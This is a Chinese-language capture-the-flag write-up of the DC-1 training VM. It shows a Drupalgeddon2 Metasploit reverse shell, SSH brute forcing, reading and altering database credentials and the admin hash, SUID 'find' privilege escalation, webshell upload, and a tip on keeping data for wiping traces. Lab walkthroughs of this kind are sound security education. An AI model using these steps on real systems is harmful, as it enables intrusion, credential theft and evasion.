DC-1靶场机渗透测试总结与全流程思路
实验环境
┌──(root㉿kali)-[~]
└─# uname -a
Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64 GNU/Linux
两主机同使用VirtualBox搭建
靶机下载地址:http://www.five86.com/downloads/DC-1.zip
测试要求
拿到root权限和找出5个flag
信息打点
┌──(root㉿kali)-[~]
└─# nmap -sn 10.0.2.0/24
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-18 13:28 EST
Nmap scan report for 10.0.2.1
Host is up (0.00042s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 10.0.2.2
Host is up (0.00032s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 10.0.2.3
Host is up (0.00027s latency).
MAC Address: 08:00:27:E8:5E:9B (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.15
Host is up (0.00072s latency).
MAC Address: 08:00:27:E2:A5:6E (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.4
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.13 seconds
发现主机10.0.2.15
,进行服务识别与端口扫描:
┌──(root㉿kali)-[~]
└─# nmap -p- -sV 10.0.2.15
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-18 13:32 EST
Nmap scan report for 10.0.2.15
Host is up (0.00041s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
47255/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:E2:A5:6E (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.17 seconds
访问web服务页面,发现内容管理系统为Drupal
的7.xx
版本:
目录爆破不是必须的,所以这里按下不表,直接在公网上进行进一步的信息搜集
针对于apache2.2.22版本存在的漏洞几乎找不到有效poc,那么入手点则应该在CMS上,搜索发现其存在SQL注入漏洞与RCE,考虑使用msf进行一定利用
开始测试
启动msf
进行检索:
我们进行尝试,使用第一个,发现建立不了会话:
msf6 exploit(unix/webapp/drupal_coder_exec) > set rhosts 10.0.2.15
rhosts => 10.0.2.15
msf6 exploit(unix/webapp/drupal_coder_exec) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/drupal_coder_exec) >
使用第二个,成功连接:
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 10.0.2.15
rhost => 10.0.2.15
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (39927 bytes) to 10.0.2.15
[*] Meterpreter session 1 opened (10.0.2.4:4444 -> 10.0.2.15:52832) at 2023-11-18 14:27:17 -0500
meterpreter >
flag1
查看当前目录,发现一个flag1
,内容为一个提示:
meterpreter > cat flag1.txt
Every good CMS needs a config file - and so do you.
很快啊,当时啪的一下,搜索了配置文件路径:
3.6 sites
这个文件夹下面用来放置Drupal的配置文件、第3方模块与主题、自定义模块与主题等等。你从第3方模块库中下载的模块,通常都放在sites/all/modules/standard下面;而你自己编写的模块,则放在sites/all/modules/custom目录下面。我们对Drupal所进行的任何修改,基本上都放在这个文件夹下进行。
在sites下面有一个名为default的文件夹,里面包含了Drupal默认配置文件— default.settings.php。在Drupal安装过程中,系统将会基于你提供的数据库帐号信息和这个默认文件,为你自动创建一个settings.php文件。对于多站点安装,配置文件通常位于sites/www.example.com/settings.php。
内容地址:https://www.thinkindrupal.com/book/export/html/5330
flag2
直接到达路径,拉出对应文件,在文件开始发现以下内容:
那么根据提示,我们下一步应该着手此文件,来进行下一步操作,而基于后端的问题无非关于CMS,DATABASE,SERVER,我们下一步应该着眼数据库,在flag2下面有一个数据库配置数组,我们得到了数据库密码,数据库类型和用户名:
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
flag4
返回meterpreter
,查看一下/etc/passwd
,得到以下内容,意外惊喜,发现了flag4
:
meterpreter > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:104::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
messagebus:x:103:107::/var/run/dbus:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash
meterpreter > cat flag4.txt
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
flag3
目前暂时找不到其他着手点,大胆猜测一波,根据用户列表,我们尝试进行ssh爆破,在msfconsole
使用ssh_login
:
msf6 > search ssh_login
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/ssh/ssh_login normal No SSH Login Check Scanner
1 auxiliary/scanner/ssh/ssh_login_pubkey normal No SSH Public Key Login Scanner
Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey
msf6 > use 0
msf6 auxiliary(scanner/ssh/ssh_login) >
简单设置后直接梭哈:
登录ssh然后登录数据库:
我们会在drupaldb
的内部发现users
表,然后获得admin
的密码hash
为:$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
:
直接爆破的话,肯定是不现实的,既然我们有了数据库的修改权限,那么我们直接替换掉hash值即可,简单搜索:
在Drupal 7的安装目录中的scripts目录下,有一些Drupal 7开发者准备好的PHP脚本,可以执行一些高级操作。其中有一个脚本名为:password-hash.sh,它的功能是传入一个密码(字符串),即返回 加密后的密码字符串。在使用前要将php的php.exe路径加入系统的PATH环境变量中,这样在任何目录中均可以直接使用php.exe(我使用的是 Windows 7操作系统)。
假设密码是“ilovedrupal”,那么需使用下面的命令获得新密码:
php scripts/password-hash.sh ‘ilovedrupal’ > new_pwd.txt
这样新的密码即存放在new_pwd.txt文件中,打开后,hash后面的字符串即为加密后的密码。如下。
password: ‘ilovedrupal’ hash: S S SCv8Wnz0EiNg3Bi19w27wo.uITAX.dnYxbiMeYcSHIvC8TFLVdKB9
————————————————
版权声明:本文为CSDN博主「LKEG」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_33345090/article/details/113563493
那么我们返回系统shell,按照指示生成hash即可,然后发现执行失败,无法打开文件,我们直接执行可以获得提示,原来必须在安装的根目录执行:
我们执行完毕,获得hash:
flag4@DC-1:/var/www$ php ./scripts/password-hash.sh "123456"
password: 123456 hash: $S$DWhGNYnxB98BMgaklck6SqSTp1pl2QpuO.OsZwZyNCV3EMshVDIc
进入数据库,替换hash值:
mysql> update drupaldb.users
-> set pass='$S$DWhGNYnxB98BMgaklck6SqSTp1pl2QpuO.OsZwZyNCV3EMshVDIc'
-> where name='admin'
-> ;
Query OK, 1 row affected (0.04 sec)
Rows matched: 1 Changed: 1 Warnings: 0
mysql>
登录admin
后发现页面上多出来了几个选项,在find content
中可以发现flag3
:
并且flag3提示我们权限问题,返回flag4的ssh会话,我们进行尝试:
flag5
根据第四个flag的提示。我们进入root目录,果不其然,权限不足,那么最后一条应该是考虑进行提权:
flag4@DC-1:/$ cd root
-bash: cd: root: Permission denied
flag4@DC-1:/$
我们进入ssh会话,开始寻找可以用于提权的服务,根据经验,我们习惯性查看一下sudo
命令情况,sudo命令被禁用了,无法使用,我们又去查看/usr/share/applications
:
flag4@DC-1:/etc$ sudo -l
-bash: sudo: command not found
flag4@DC-1:/etc$ ls /usr/share/applications/
debian-uxterm.desktop debian-xterm.desktop display.im6.desktop mutt.desktop python2.7.desktop reportbug.desktop
flag4@DC-1:/etc$
在这里我们发现了python2.7
,但是没有sudo,也无法利用,然后我们慢慢尝试,发现find命令可以使用:
那我们尝试find提权,执行:
find /usr/bin/find -exec cat /root/thefinalflag.txt \;
得到以下结果,DC-1游览结束:
flag4@DC-1:/$ find /usr/bin/find -exec cat /root/thefinalflag.txt \;
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
flag4@DC-1:/$
测试总结
在此靶场中,使用了metaspolit的基础操作,但是并未涉及到木马生成与上传然后getshell,然后我们获取到了CMS的关键配置文件,然后对靶机中的passwd
进行了获取,最后的以进入数据库操作,在网站后台获取到了关键信息,最后进行了提权,则我们在面对靶机应该有以下思路:
- CMS的信息搜集与利用,漏洞披露,关键配置文件
- 目标上存在的用户信息,用户权限详情
- 网站的后台管理页面探测,网站密码的生成策略
- 数据库入侵的操作,对于加密密码的处理
- 对于当前用户的权限提升(非root)
后期复盘
前期的信息打点补充之使用fscan
在信息打点时我们还应该考虑主动进行漏扫,这里较快找到可用poc的方式应该是使用漏扫工具
我们打开fscan
,进行漏扫:
这样将会大大节省我们寻找exp的时间
解决shell的交互性问题
由于meterpreter的交互性只能说是能用的水平,所以我们为了更好的体验,可以考虑丢个一句话进入网站根目录,然后使用蚁剑连接,菜刀也行(界面比较老了),冰蝎的话犯不着,有点麻烦:
然后使用蚁剑一连,舒适度直线上升:
按顺序拿到flag的方法
经过复盘,我发现我们是完全可以按顺序拿到flag的,我们在上述弹出shell传马过后,我们完全可以借助蚁剑来管理我们的数据库,设置如图所示:
第二种进入数据库的方法navicat隧道
这种方法是复盘时发现的,我们还可以向服务器传递navicat的隧道文件来接管数据库,为了方便,我们以蚁剑直接上传上传navicat
(我这里临时下载了一个navicat16
,可能不一样)安装目录下的resource
文件中的ntunnel_mysql.php
,然后打开navicat
选择隧道连接:
我们可以看到连接成功:
直接访问靶场加上
/ntunnel_mysql.php
会出现测试页面
find提权的另一种方式
find / -perm -u=s -type f 2>/dev/null
个人看法(偏实际应用)
个人看法(偏实际应用)
- 在进行攻击时,考虑保留有原始信息,以便进行痕迹抹除
- 进行测试时,应该尽量不对系统发起大量请求,给后期处理造成较大难度
- 不到必不得以,不使用爆破等手段